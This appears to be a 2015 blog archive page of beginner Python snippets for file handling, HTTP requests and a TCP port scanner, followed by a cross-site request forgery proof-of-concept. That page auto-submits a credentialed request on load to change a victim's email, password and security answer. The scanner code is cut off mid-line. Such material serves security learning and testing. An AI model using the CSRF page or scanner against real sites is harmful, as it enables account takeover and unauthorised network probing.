Posts

Showing posts from 2015

File Write - Python

""" python v2.7.9 file write operation """ portlist=[21,22,25,80,8080,9999,8888,143,3306] servicelist=['FTP','SMTP','MYSQL','HTTP'] fi=open('ports.txt','w') for ports in portlist: fi.write(str(ports)+"\n") fi.close() with open('services.txt','w') as fi: for services in servicelist: fi.write(services+"\n")

File Read - Python

""" python v2.7.9""" print("[+] Read whole File [+]") with open("file.txt") as line: print(line.read()) print("[+] Read line by line [+]") with open("file.txt") as line: for txt in line: print("Lines: "+txt.rstrip())

Port Scanning in Python for Open Ports

""" Python v2.x Port Scanning for the given host. Display all the open ports""" import socket global host def help(): print("Usage") print("Enter the host IP: 10.2.5.6") print("Enter the host IP: 172.16.5.32") def port_scan(): global host print("[+] Port scanning initiated for "+str(host)+"...") for i in range(1,65535): soc=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: soc.connect((host,i)) print("Port %s : OPEN"%(str(i))) except: pass soc.close() print("[+] Scanning Done [+]") valid=True host=raw_input("Enter the host IP:") valid_host=host.split(".") len_host=len(valid_host) if (len_host<4) or (len_host>4): print("Invalid Host") help() elif len_host==4: for i in valid_host: try: if (int(i)<0) or (int(i)>255): print("Invalid Host") valid=False hel...

HTTP Request in Python using urllib Module

import urllib soc=urllib.urlopen("http://google.co.in") print("Status Code: "+str(soc.code)) result=soc.info() print(result) print(result.keys()) print("Server:"+result['server']) print("Data Returned: "+soc.read())

CSRF in XHR!!!

Below code can be used to perform CSRF in  XHR . <html> <head> <script> function loadXMLDoc() { var xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","https://example.com",true); xmlhttp.withCredentials = "true"; xmlhttp.send("{\"emailAddress\":\"abcd.92@gmail.com\",\"password\":\"dqazxsw123\",\"securityQuestion\":\"In what city or town was your first job?\",\"securityAnswer\":\"Bangalore\",\"notifyUpdates\":\"true\"}"); //Data window.close(); } </script> </head> <body onload="javascript:loadXMLDoc()"> Action Performed </body> </html>